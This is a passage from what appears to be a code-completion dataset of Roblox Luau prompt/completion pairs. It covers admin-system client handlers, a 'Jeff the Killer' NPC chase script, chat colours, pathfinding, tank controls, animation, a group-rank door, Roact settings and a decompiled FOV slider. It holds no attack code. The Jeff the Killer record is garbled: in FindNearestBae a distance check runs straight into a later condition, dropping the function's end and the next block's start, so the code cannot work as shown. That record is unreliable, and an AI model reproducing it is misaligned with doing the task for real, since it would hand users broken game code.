\"..tostring(Trace))\n\t\t\tend\n\t\tend;\n\t\t\n\t\tChat = function(msg)\n\t\t\t--service.FireEvent(\"Chat\",msg)\n\t\t\tif not service.Player or service.Player.Parent ~= service.Players then\n\t\t\t\tRemote.Fire(\"ProcessChat\",msg)\n\t\t\tend\n\t\tend;\n\t\t\n\t\tCharacterAdded = function()\n\t\t\tUI.GetHolder()\n\t\t\tservice.Events.CharacterAdded:fire()\n\t\tend;\n\t\t\n\t\tCharacterRemoving = function()\n\t\t\tif Variables.UIKeepAlive then\n\t\t\t\tfor ind,g in next,client.GUIs do\n\t\t\t\t\tif g.Class == \"ScreenGui\" or g.Class == \"GuiMain\" or g.Class == \"TextLabel\" then\n\t\t\t\t\t\tif g.CanKeepAlive and not (g.Object:IsA(\"ScreenGui\") and not g.Object.ResetOnSpawn) then\n\t\t\t\t\t\t\tg.KeepAlive = true\n\t\t\t\t\t\t\tg.KeepParent = g.Object.Parent\n\t\t\t\t\t\t\tg.Object.Parent = nil\n\t\t\t\t\t\telseif not g.CanKeepAlive then\n\t\t\t\t\t\t\tpcall(g.Destroy, g)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif Variables.GuiViewFolder then\n\t\t\t\tVariables.GuiViewFolder:Destroy()\n\t\t\t\tVariables.GuiViewFolder = nil\n\t\t\tend\n\t\t\t\n\t\t\tif Variables.ChatEnabled then \n\t\t\t\tservice.StarterGui:SetCoreGuiEnabled(\"Chat\",true) \n\t\t\tend\n\t\t\t\n\t\t\tif Variables.PlayerListEnabled then \n\t\t\t\tservice.StarterGui:SetCoreGuiEnabled('PlayerList',true) \n\t\t\tend\n\t\t\t\n\t\t\tlocal textbox = service.UserInputService:GetFocusedTextBox()\n\t\t\tif textbox then \n\t\t\t\ttextbox:ReleaseFocus()\n\t\t\tend\n\t\t\t\n\t\t\tservice.Events.CharacterRemoving:fire()\n\t\tend\n\t}\nend\n"} +{"prompt": "--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Thumbnail\")then]]--\n--[[JeffTheKiller:FindFirstChild(\"Thumbnail\"):Destroy();]]--\n--[[end;]]", "completion": "--\nlocal JeffTheKillerHumanoid;\nfor _,Child in pairs(JeffTheKiller:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nJeffTheKillerHumanoid=Child;\nend;\nend;\nlocal AttackDebounce=false;\nlocal JeffTheKillerKnife=JeffTheKiller:FindFirstChild(\"Knife\");\nlocal JeffTheKillerHead=JeffTheKiller:FindFirstChild(\"Head\");\nlocal JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild(\"HumanoidRootPart\");\nlocal WalkDebounce=false;\nlocal Notice=false;\nlocal JeffLaughDebounce=false;\nlocal MusicDebounce=false;\nlocal NoticeDebounce=false;\nlocal ChosenMusic;\nfunction FindNearestBae()\nlocal NoticeDistance=30;\nlocal TargetMain;\nfor _,TargetModel in pairs(Game:GetService(\"Workspace\"):GetChildren())do\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className==\"Model\"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild(\"HumanoidRootPart\")and TargetModel:FindFirstChild(\"Head\")then\nlocal TargetPart=TargetModel:FindFirstChild(\"HumanoidRootPart\");\nlocal FoundHumanoid;\nfor _,Child in pairs(TargetModel:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nif TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nSpawn(function()\nWalkDebounce=true;\nlocal FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));\nlocal RayTarget,endPoint=Game:GetService(\"Workspace\"):FindPartOnRay(FiredRay,JeffTheKiller);\nif RayTarget then\nlocal JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild(\"Jeff_Step\"):Clone();\nJeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;\nJeffTheKillerHeadFootStepClone:Play();\nJeffTheKillerHeadFootStepClone:Destroy();\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then\nWait(0.5);\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then\nWait(0.2);\nend\nend;\nWalkDebounce=false;\nend);\nend;\nlocal MainTarget=FindNearestBae();\nlocal FoundHumanoid;\nif MainTarget then\nfor _,Child in pairs(MainTarget.Parent:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then\nJeffTheKillerHumanoid.Jump=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and not JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=1;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nif not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nend;\nend;\nif not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then\nlocal MusicChoice=math.random(1,2);\nif MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\");\nelseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\");\nend;\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then\nChosenMusic.Volume=0.5;\nChosenMusic:Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then\nif not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nend;\nend;\nif not MainTarget and not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nif not MainTarget and not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nif MainTarget then\nNotice=true;\nif Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\")then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\"):Play();\nNoticeDebounce=true;\nend\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then\nJeffTheKillerHumanoid.WalkSpeed=38;\nelseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then\nJeffTheKillerHumanoid.WalkSpeed=0.004;\nend;\nJeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nelse\nNotice=false;\nNoticeDebounce=false;\nlocal RandomWalk=math.random(1,150);\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nJeffTheKillerHumanoid.WalkSpeed=12;\nif RandomWalk==1 then\nJeffTheKillerHumanoid:MoveTo(Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then\nJeffTheKillerHumanoid.DisplayDistanceType=\"None\";\nJeffTheKillerHumanoid.HealthDisplayDistance=0;\nJeffTheKillerHumanoid.Name=\"ColdBloodedKiller\";\nJeffTheKillerHumanoid.NameDisplayDistance=0;\nJeffTheKillerHumanoid.NameOcclusion=\"EnemyOcclusion\";\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nJeffTheKillerHumanoid.AutoRotate=true;\nJeffTheKillerHumanoid.MaxHealth=1300;\nJeffTheKillerHumanoid.JumpPower=60;\nJeffTheKillerHumanoid.MaxSlopeAngle=89.9;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then\nJeffTheKillerHumanoid.AutoRotate=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then\nJeffTheKillerHumanoid.PlatformStand=false;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then\nJeffTheKillerHumanoid.Sit=false;\nend;\nend;"} +{"prompt": "----[[ Color Settings ]]", "completion": "\nmodule.BackGroundColor = Color3.new(0, 0, 0)\nmodule.DefaultMessageColor = Color3.new(1, 1, 1)\nmodule.DefaultNameColor = Color3.new(1, 1, 1)\nmodule.ChatBarBackGroundColor = Color3.new(0, 0, 0)\nmodule.ChatBarBoxColor = Color3.new(1, 1, 1)\nmodule.ChatBarTextColor = Color3.new(0, 0, 0)\nmodule.ChannelsTabUnselectedColor = Color3.new(0, 0, 0)\nmodule.ChannelsTabSelectedColor = Color3.new(30/255, 30/255, 30/255)\nmodule.DefaultChannelNameColor = Color3.fromRGB(35, 76, 142)\nmodule.WhisperChannelNameColor = Color3.fromRGB(102, 14, 102)\nmodule.ErrorMessageTextColor = Color3.fromRGB(245, 50, 50)\n"} +{"prompt": "-- no touchy", "completion": "\nlocal path\nlocal waypoint\nlocal oldpoints\nlocal isWandering = 0\n\nif canWander then\n\tspawn(function()\n\t\twhile isWandering == 0 do\n\t\t\tisWandering = 1\n\t\t\tlocal desgx, desgz = hroot.Position.x + math.random(-WanderX, WanderX), hroot.Position.z + math.random(-WanderZ, WanderZ)\n\t\t\thuman:MoveTo( Vector3.new(desgx, 0, desgz) )\n\t\t\twait(math.random(4, 6))\n\t\t\tisWandering = 0\n\t\tend\n\tend)\nend\n\nwhile wait() do\n\tlocal enemytorso = GetTorso(hroot.Position)\t\n\tif enemytorso ~= nil then -- if player detected\n\t\tisWandering = 1\n\t\tlocal function checkw(t)\n\t\t\tlocal ci = 3\n\t\t\tif ci > #t then\n\t\t\t\tci = 3\n\t\t\tend\n\t\t\tif t[ci] == nil and ci < #t then\n\t\t\t\trepeat\n\t\t\t\t\tci = ci + 1\n\t\t\t\t\twait()\n\t\t\t\tuntil t[ci] ~= nil\n\t\t\t\treturn Vector3.new(1, 0, 0) + t[ci]\n\t\t\telse\n\t\t\t\tci = 3\n\t\t\t\treturn t[ci]\n\t\t\tend\n\t\tend\n\n\t\tpath = pfs:FindPathAsync(hroot.Position, enemytorso.Position)\n\t\twaypoint = path:GetWaypoints()\n\t\toldpoints = waypoint\n\t\tlocal connection;\n\n\t\tlocal direct = Vector3.FromNormalId(Enum.NormalId.Front)\n\t\tlocal ncf = hroot.CFrame * CFrame.new(direct)\n\t\tdirect = ncf.p.unit\n\t\tlocal rootr = Ray.new(hroot.Position, direct)\n\t\tlocal phit, ppos = game.Workspace:FindPartOnRay(rootr, hroot)\n\n\t\tif path and waypoint or checkw(waypoint) then\n\t\t\tif checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Walk then\n\t\t\t\thuman:MoveTo( checkw(waypoint).Position )\n\t\t\t\thuman.Jump = false\n\t\t\tend\n\n\t\t\tif checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Jump then\n\t\t\t\thuman.Jump = true\n\t\t\t\tconnection = human.Changed:connect(function()\n\t\t\t\t\thuman.Jump = true\n\t\t\t\tend)\n\t\t\t\thuman:MoveTo( checkw(waypoint).Position )\n\t\t\telse\n\t\t\t\thuman.Jump = false\n\t\t\tend\n\n\t\t\throot.Touched:connect(function(p)\n\t\t\t\tlocal bodypartnames = GetPlayersBodyParts(enemytorso)\n\t\t\t\tif p:IsA'Part' and not (p.Name == bodypartnames) and phit and phit.Name ~= bodypartnames and phit:IsA'Part' and rootr:Distance(phit.Position) < 5 then\n\t\t\t\t\tconnection = human.Changed:connect(function()\n\t\t\t\t\t\thuman.Jump = true\n\t\t\t\t\tend)\n\t\t\t\telse\n\t\t\t\t\thuman.Jump = false\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tif connection then\n\t\t\t\tconnection:Disconnect()\n\t\t\tend\n\n\t\telse\n\t\t\tfor i = 3, #oldpoints do\n\t\t\t\thuman:MoveTo( oldpoints[i].Position )\t\n\t\t\tend\n\t\tend\n\telseif enemytorso == nil and canWander then -- if player not detected\n\t\tisWandering = 0\n\t\tpath = nil\n\t\twaypoint = nil\n\t\thuman.MoveToFinished:Wait()\n\tend\nend\n"} +{"prompt": "--!strict", "completion": "\nlocal Packages = script.Parent.Parent\nlocal LuauPolyfill = require(Packages.LuauPolyfill)\ntype Error = LuauPolyfill.Error\ntype Object = LuauPolyfill.Object\ntype Array = LuauPolyfill.Array\nlocal Error = LuauPolyfill.Error\nlocal inspect = LuauPolyfill.util.inspect\n\nlocal DIVIDER = \"\\n------ Error caught by React ------\\n\"\n"} +{"prompt": "--// Functions", "completion": "\nfunction Forward()\n\tStorage.Sound:FireServer(runSound, true)\n\tStorage.Sound:FireServer(idleSound, false)\n\t\n\twhile true do\n\t\trst:Wait()\n\t\tif ForwardKeyDown then\n\t\t\tif speed < maxSpeed then\n\t\t\t\tspeed = speed + 0.5\n\t\t\telseif speed > maxSpeed then\n\t\t\t\tspeed = maxSpeed\n\t\t\tend\n\t\t\t\n\t\t\tlocal lv = seat.CFrame.lookVector\n\t\t\n\t\t\tlocal maxVelo = ((2*lv)*maxSpeed)\n\t\t\tlocal newVelo = ((2*lv)*speed)\n\n\t\t\tStorage.UpdateBV:FireServer(newVelo, BV)\n\t\tend\n\t\t\n\t\tif not ForwardKeyDown and not BackwardKeyDown then\n\t\t\tspeed = speed - 1\n\t\t\t\n\t\t\tlocal lv = seat.CFrame.lookVector\n\t\t\t\n\t\t\tlocal newVelo = ((2*lv)*speed)\n\t\t\t\n\t\t\tStorage.UpdateBV:FireServer(newVelo, BV)\n\t\t\t\n\t\t\tif speed <= 0 then\n\t\t\t\tspeed = 0\n\t\t\t\t\n\t\t\t\tlocal newVelo = ((2*lv)*0)\n\t\t\t\tStorage.UpdateBV:FireServer(newVelo, BV)\n\t\t\t\t\n\t\t\t\tStorage.Sound:FireServer(idleSound, true)\n\t\t\t\tStorage.Sound:FireServer(runSound, false)\n\t\t\t\tbreak\n\t\t\tend\n\t\t\t\n\t\t\tif BackwardKeyDown and not ForwardKeyDown then\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction Backwards()\t\n\tStorage.Sound:FireServer(runSound, true)\n\tStorage.Sound:FireServer(idleSound, false)\n\t\n\twhile true do\n\t\trst:Wait()\n\t\tif BackwardKeyDown then\n\t\t\tif speed > -maxSpeed then\n\t\t\t\tspeed = speed - 0.5\n\t\t\telseif speed < -maxSpeed then\n\t\t\t\tspeed = -maxSpeed\n\t\t\tend\n\t\t\t\n\t\t\tlocal lv = seat.CFrame.lookVector\n\t\t\tlocal newVelo = ((2*lv)*speed)\n\t\t\t\n\t\t\tStorage.UpdateBV:FireServer(newVelo, BV)\n\t\tend\n\t\t\n\t\tif not BackwardKeyDown and not ForwardKeyDown then\n\t\t\tspeed = speed + 1\n\t\t\t\n\t\t\tlocal lv = seat.CFrame.lookVector\n\n\t\t\tlocal newVelo = ((2*lv)*speed)\n\n\t\t\tStorage.UpdateBV:FireServer(newVelo, BV)\n\t\t\t\n\t\t\t\n\t\t\tif speed <= 0 then\n\t\t\t\tspeed = 0\n\t\t\t\t\n\t\t\t\tlocal newVelo = ((2*lv)*0)\n\t\t\t\tStorage.UpdateBV:FireServer(newVelo, BV)\n\t\t\t\t\n\t\t\t\tStorage.Sound:FireServer(idleSound, true)\n\t\t\t\tStorage.Sound:FireServer(runSound, false)\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\t\n\t\tif not BackwardKeyDown and ForwardKeyDown then\n\t\t\tbreak\n\t\tend\n\tend\nend\n\nfunction turnRight()\n\twhile RightTurnKeyDown do\n\t\twait()\n\t\t\n\t\tlocal newAV\n\t\t\n\t\tif ForwardKeyDown or BackwardKeyDown then\n\t\t\tnewAV = Vector3.new(0,-0.5,0)\n\t\telse\n\t\t\tnewAV = Vector3.new(0,-0.4,0)\n\t\tend\n\t\t\n\t\tStorage.UpdateAV:FireServer(newAV, BAV)\n\t\t\n\t\tif not RightTurnKeyDown then\n\t\t\tlocal newAV = Vector3.new(0,0,0)\n\t\t\tStorage.UpdateAV:FireServer(newAV, BAV)\n\t\tend\n\tend\nend\n\nfunction turnLeft()\n\twhile LeftTurnKeyDown do\n\t\twait()\n\t\t\n\t\tlocal newAV\n\t\t\n\t\tif ForwardKeyDown or BackwardKeyDown then\n\t\t\tnewAV = Vector3.new(0,0.5,0)\n\t\telse\n\t\t\tnewAV = Vector3.new(0,0.4,0)\n\t\tend\n\t\t\n\t\tStorage.UpdateAV:FireServer(newAV, BAV)\n\t\t\n\t\tif not LeftTurnKeyDown then\n\t\t\tlocal newAV = Vector3.new(0,0,0)\n\t\t\tStorage.UpdateAV:FireServer(newAV, BAV)\n\t\tend\n\tend\nend\n\nfunction EndControl(bool)\n\tStorage.Sound:FireServer(runSound, false)\n\tStorage.Sound:FireServer(idleSound, false)\n\t\n\tEquipped = false\n\tStorage.Stop:FireServer(BV, BAV)\n\tcam.CameraType = Enum.CameraType.Custom\n\t\n\tscript:Destroy()\nend\n\nfunction flipTank()\n\tStorage.Flip:FireServer(seat, BG)\t\nend\n"} +{"prompt": "-- Preload animations", "completion": "\nfunction playAnimation(animName, transitionTime, humanoid) \n\n\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\tlocal origRoll = roll\n\tlocal idx = 1\n\twhile (roll > animTable[animName][idx].weight) do\n\t\troll = roll - animTable[animName][idx].weight\n\t\tidx = idx + 1\n\tend\n\t--\t\tprint(animName .. \" \" .. idx .. \" [\" .. origRoll .. \"]\")\n\tlocal anim = animTable[animName][idx].anim\n\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\tcurrentAnimTrack.Priority = Enum.AnimationPriority.Core\n\n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\t\tcurrentAnimInstance = anim\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\n\tend\n\nend\n"} +{"prompt": "-- Decompiled with Visenya | https://targaryentech.com", "completion": "\nlocal UIS = game:GetService(\"UserInputService\")\nwait(1)\nlocal P = script.Parent\nlocal slider = P.Slider\nlocal knob = slider.Knob\nlocal FOVLabel = P.FOVValue\nlocal knobGrabbed = false\nfunction GrabFOVKnob()\n knobGrabbed = true\nend\nfunction MoveFOVKnob(screenPosition)\n local yDiff = screenPosition.y - slider.AbsolutePosition.y\n local knobPositionRatio = math.min(math.max(yDiff / slider.AbsoluteSize.y, 0), 1)\n local newFOV = 100 + 9900 * (1 - knobPositionRatio)\n script.Parent.Parent.Dist.Value = newFOV\n knob.Position = UDim2.new(0, -10, knobPositionRatio, -10)\n FOVLabel.Text = math.floor(newFOV)\nend\nfunction ReleaseFOVKnob()\n knobGrabbed = false\nend\nknob.InputBegan:connect(function(input)\n if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then\n GrabFOVKnob()\n end\nend)\nUIS.InputChanged:connect(function(input, gameProcessedEvent)\n if not gameProcessedEvent and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) and knobGrabbed then\n MoveFOVKnob(input.Position)\n end\nend)\nUIS.InputEnded:connect(function(input, gameProcessedEvent)\n if not gameProcessedEvent and input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then\n ReleaseFOVKnob()\n end\nend)\n"} +{"prompt": "--[[\nThis door, the first on ROBLOX of its kind, was created by Mark Otaris (JulienDethurens).\n\nIt opens when it is touched by someone whose rank in a certain group is higher or equal than/to a certain rank number.\n\nThe group's id can be specified in the GroupId value in the configuration folder contained in the door.\nThe rank id (from 1 to 255) can be specified in the RankId value in the configuration folder.\n]]", "completion": "\n\nlocal config = script.Parent.Configuration\n\nscript.Parent.Touched:connect(function(part)\n\tif part.Parent and Game:GetService('Players'):GetPlayerFromCharacter(part.Parent) then\n\t\tlocal player = Game:GetService('Players'):GetPlayerFromCharacter(part.Parent)\n\t\tif player:GetRankInGroup(config.GroupId.Value) >= config.RankId.Value then\n\t\t\tscript.Parent.Transparency = 1\n\t\t\tscript.Parent.CanCollide = false\n\t\t\twait(0.5)\n\t\t\tscript.Parent.Transparency = 1\n\t\t\tscript.Parent.CanCollide = true\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- Every valid configuration value should be non-nil in this table.", "completion": "\nlocal defaultConfig = {\n\t-- Enables asserts for internal Roact APIs. Useful for debugging Roact itself.\n\t[\"internalTypeChecks\"] = false,\n\t-- Enables stricter type asserts for Roact's public API.\n\t[\"typeChecks\"] = false,\n\t-- Enables storage of `debug.traceback()` values on elements for debugging.\n\t[\"elementTracing\"] = false,\n\t-- Enables validation of component props in stateful components.\n\t[\"propValidation\"] = false,\n\n\t-- Temporary config for enabling a bug fix for processing events based on updates to child instances\n\t-- outside of the standard lifecycle.\n\t[\"tempFixUpdateChildrenReEntrancy\"] = false,\n}\n"} +{"prompt": "--// Remote", "completion": "\nreturn function()\n\tlocal _G, game, script, getfenv, setfenv, workspace, \n\t\tgetmetatable, setmetatable, loadstring, coroutine, \n\t\trawequal, typeof, print, math, warn, error, pcall, \n\t\txpcall, select, rawset, rawget, ipairs, pairs, \n\t\tnext, Rect, Axes, os, tick, Faces, unpack, string, Color3, \n\t\tnewproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, \n\t\tNumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, \n\t\tNumberSequenceKeypoint, PhysicalProperties, Region3int16, \n\t\tVector3int16, elapsedTime, require, table, type, wait, \n\t\tEnum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = \n\t\t_G, game, script, getfenv, setfenv, workspace, \n\t\tgetmetatable, setmetatable, loadstring, coroutine, \n\t\trawequal, typeof, print, math, warn, error, pcall, \n\t\txpcall, select, rawset, rawget, ipairs, pairs, \n\t\tnext, Rect, Axes, os, tick, Faces, unpack, string, Color3, \n\t\tnewproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, \n\t\tNumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, \n\t\tNumberSequenceKeypoint, PhysicalProperties, Region3int16, \n\t\tVector3int16, elapsedTime, require, table, type, wait, \n\t\tEnum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay\n\t\t\n\tlocal script = script\n\tlocal service = service\n\tlocal client = client\n\tlocal Anti, Core, Functions, Process, Remote, UI, Variables\n\tlocal function Init()\n\t\tUI = client.UI;\n\t\tAnti = client.Anti;\n\t\tCore = client.Core;\n\t\tVariables = client.Variables\n\t\tFunctions = client.Functions;\n\t\tProcess = client.Process;\n\t\tRemote = client.Remote;\n\tend\n\t\n\tgetfenv().client = nil\n\tgetfenv().service = nil\n\tgetfenv().script = nil\n\t\n\tclient.Remote = {\n\t\tInit = Init;\n\t\tReturns = {};\n\t\tPendingReturns = {};\n\t\tEncodeCache = {};\n\t\tDecodeCache = {};\n\t\tReceived = 0;\n\t\tSent = 0;\n\t\t\n\t\tReturnables = {\n\t\t\tTest = function(args)\n\t\t\t\treturn \"HELLO FROM THE CLIENT SIDE :)! \", unpack(args)\n\t\t\tend;\n\t\t\t\n\t\t\tPing = function(args)\n\t\t\t\treturn Remote.Ping()\n\t\t\tend;\n\t\t\t\n\t\t\tClientHooked = function(args)\n\t\t\t\treturn Core.Special\n\t\t\tend;\n\t\t\t\n\t\t\tTaskManager = function(args)\n\t\t\t\tlocal action = args[1]\n\t\t\t\tif action == \"GetTasks\" then\n\t\t\t\t\tlocal tab = {}\n\t\t\t\t\tfor i,v in next,service.GetTasks() do\n\t\t\t\t\t\tlocal new = {}\n\t\t\t\t\t\tnew.Status = v.Status\n\t\t\t\t\t\tnew.Name = v.Name\n\t\t\t\t\t\tnew.Index = v.Index\n\t\t\t\t\t\tnew.Created = v.Created\n\t\t\t\t\t\tnew.CurrentTime = os.time()\n\t\t\t\t\t\tnew.Function = tostring(v.Function)\n\t\t\t\t\t\ttable.insert(tab,new)\n\t\t\t\t\tend\n\t\t\t\t\treturn tab\n\t\t\t\tend\n\t\t\tend;\n\t\t\t\n\t\t\tLoadCode = function(args)\n\t\t\t\tlocal code = args[1]\n\t\t\t\tlocal func = 